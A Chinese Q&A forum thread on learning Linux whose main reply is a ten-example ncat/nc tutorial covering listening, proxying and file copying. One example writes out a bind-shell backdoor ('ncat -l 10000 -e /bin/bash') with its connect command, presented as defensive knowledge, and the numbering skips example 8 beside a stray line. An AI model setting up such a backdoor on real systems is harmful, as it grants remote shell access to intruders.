首頁>Club>
6
回覆列表
  • 1 # 千鋒頭號粉絲

    說起Linux系統培訓啊,那就不得不提到千鋒了,千鋒老師的Linux系統水平在業內一向以專業著稱,這次,就讓千鋒老師教我們一個有趣的除錯工具吧!

    ncat 或者說 nc 是一款功能類似 cat 的工具,但是是用於網路的。它是一款擁有多種功能的 CLI 工具,可以用來在網路上讀、寫以及重定向資料。 它被設計成可以被指令碼或其他程式呼叫的可靠的後端工具。同時由於它能建立任意所需的連線,因此也是一個很好的網路除錯工具。

    ncat/nc 既是一個埠掃描工具,也是一款安全工具,還能是一款監測工具,甚至可以做為一個簡單的 TCP 代理。 由於有這麼多的功能,它被譽為是網路界的瑞士軍刀。 這是每個系統管理員都應該知道並且掌握它。

    在大多數 Debian 發行版中,nc 是預設可用的,它會在安裝系統的過程中自動被安裝。 但是在 CentOS 7 / RHEL 7 的最小化安裝中,nc 並不會預設被安裝。 你需要用下列命令手工安裝。

    [root@linuxtechi ~]# yum install nmap-ncat -y

    系統管理員可以用它來審計系統安全,用它來找出開放的埠然後保護這些埠。 管理員還能用它作為客戶端來審計 Web 伺服器、telnet 伺服器、郵件伺服器等, 透過 nc 我們可以控制傳送的每個字元,也可以檢視對方的迴應。

    我們還可以用它捕獲客戶端傳送的資料以此來了解這些客戶端是做什麼的。

    在本文中,我們會透過 10 個例子來學習如何使用 nc 命令。

    例子: 1) 監聽入站連線

    透過 -l 選項,ncat 可以進入監聽模式,使我們可以在指定埠監聽入站連線。 完整的命令是這樣的:

    $ ncat -l port_number

    比如,

    $ ncat -l 8080

    伺服器就會開始在 8080 埠監聽入站連線。

    例子: 2) 連線遠端系統

    使用下面命令可以用 nc 來連線遠端系統,

    $ ncat IP_address port_number

    讓我們來看個例子,

    $ ncat 192.168.1.100 80

    這會建立一個連線,連線到 IP 為 192.168.1.100 的伺服器上的 80 埠,然後我們就可以向伺服器傳送指令了。 比如我們可以輸入下面內容來獲取完整的網頁內容

    GET / HTTP/1.1

    或者獲取頁面名稱,

    GET / HTTP/1.1

    或者我們可以透過以下方式獲得作業系統指紋標識,

    HEAD / HTTP/1.1

    這會告訴我們使用的是什麼軟體來執行這個 web 伺服器的。

    例子: 3) 連線 UDP 埠

    預設情況下,nc 建立連線時只會連線 TCP 埠。 不過我們可以使用 -u 選項來連線到 UDP 埠,

    $ ncat -l -u 1234

    現在我們的系統會開始監聽 UDP 的 1234 埠,我們可以使用下面的 netstat 命令來驗證這一點,

    $ netstat -tunlp | grep 1234

    udp 0 0 0.0.0.0:1234 0.0.0.0:* 17341/nc

    udp6 0 0 :::1234 :::* 17341/nc

    假設我們想傳送或者說測試某個遠端主機 UDP 埠的連通性,我們可以使用下面命令,

    $ ncat -v -u {host-ip} {udp-port}

    比如:

    [root@localhost ~]# ncat -v -u 192.168.105.150 53

    Ncat: Version 6.40 ( http://nmap.org/ncat )

    Ncat: Connected to 192.168.105.150:53。

    例子: 4) 將 nc 作為聊天工具

    nc 也可以作為聊天工具來用,我們可以配置伺服器監聽某個埠,然後從遠端主機上連線到伺服器的這個埠,就可以開始傳送訊息了。 在伺服器這端執行:

    $ ncat -l 8080

    在遠端客戶端主機上執行:

    $ ncat 192.168.1.100 8080

    之後開始傳送訊息,這些訊息會在伺服器終端上顯示出來。

    例子: 5) 將 nc 作為代理

    nc 也可以用來做代理。比如下面這個例子,

    $ ncat -l 8080 | ncat 192.168.1.200 80

    $ mkfifo 2way

    $ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way

    現在你可以透過 nc 代理來收發資料了。

    例子: 6) 使用 nc 複製檔案

    nc 還能用來在系統間複製檔案,雖然這麼做並不推薦,因為絕大多數系統預設都安裝了 ssh/scp。 不過如果你恰好遇見個沒有 ssh/scp 的系統的話, 你可以用 nc 來作最後的努力。

    在要接受資料的機器上啟動 nc 並讓它進入監聽模式:

    $ ncat -l 8080 > file.txt

    現在去要被複製資料的機器上執行下面命令:

    $ ncat 192.168.1.100 8080 --send-only < data.txt

    這裡,data.txt 是要傳送的檔案。 -–send-only 選項會在檔案複製完後立即關閉連線。 如果不加該選項, 我們需要手工按下 ctrl+c 來關閉連線。

    我們也可以用這種方法複製整個磁碟分割槽,不過請一定要小心。

    例子: 7) 透過 nc 建立後門

    nc 命令還可以用來在系統中建立後門,並且這種技術也確實被駭客大量使用。 為了保護我們的系統,我們需要知道它是怎麼做的。 建立後門的命令為:

    $ ncat -l 10000 -e /bin/bash

    -e 標誌將一個 bash 與埠 10000 相連。現在客戶端只要連線到伺服器上的 10000 埠就能透過 bash 獲取我們系統的完整訪問許可權:

    $ ncat 192.168.1.100 10000

    $ ncat -u -l 80 -c "ncat -u -l 8080"

    例子: 9) 設定連線超時

    nc 的監聽模式會一直執行,直到手工終止。 不過我們可以透過選項 -w 設定超時時間:

    $ ncat -w 10 192.168.1.100 8080

    這回導致連線 10 秒後終止,不過這個選項只能用於客戶端而不是服務端。

    例子: 10) 使用 -k 選項強制 nc 待命

    當客戶端從服務端斷開連線後,過一段時間服務端也會停止監聽。 但透過選項 -k 我們可以強制伺服器保持連線並繼續監聽埠。 命令如下:

    $ ncat -l -k 8080

    現在即使來自客戶端的連線斷了也依然會處於待命狀態。

  • 2 # 原750362

    桌面版本其實和win沒啥太大不同,複雜的是伺服器版本,從shell命令列開始學,稍微比dos複雜一點點。sudo,cd,ls,chmod,mkdir,cp,mv,rm等等這些基礎檔案系統命令學會了以後就是軟體安裝、更新,網路指令、安全防護、文字編輯、程序管理、指令管道,最後是各種開發工具、編譯工具。

    覺得難嗎?

  • 3 # Jack秦

    linux系統難不難學,在於你對他有沒有濃厚的興趣,強扭的瓜不甜,如果你對它沒有興趣,那麼學下去可能會帶來一系列的煩惱,痛苦。從現在開始培養對linux系統的興趣,基礎知識學紮實,linux市場前景還很樂觀,不用擔心就不了業。

  • 中秋節和大豐收的關聯?
  • 教師界爭來爭去,優秀生是選擇公立還是選擇私立?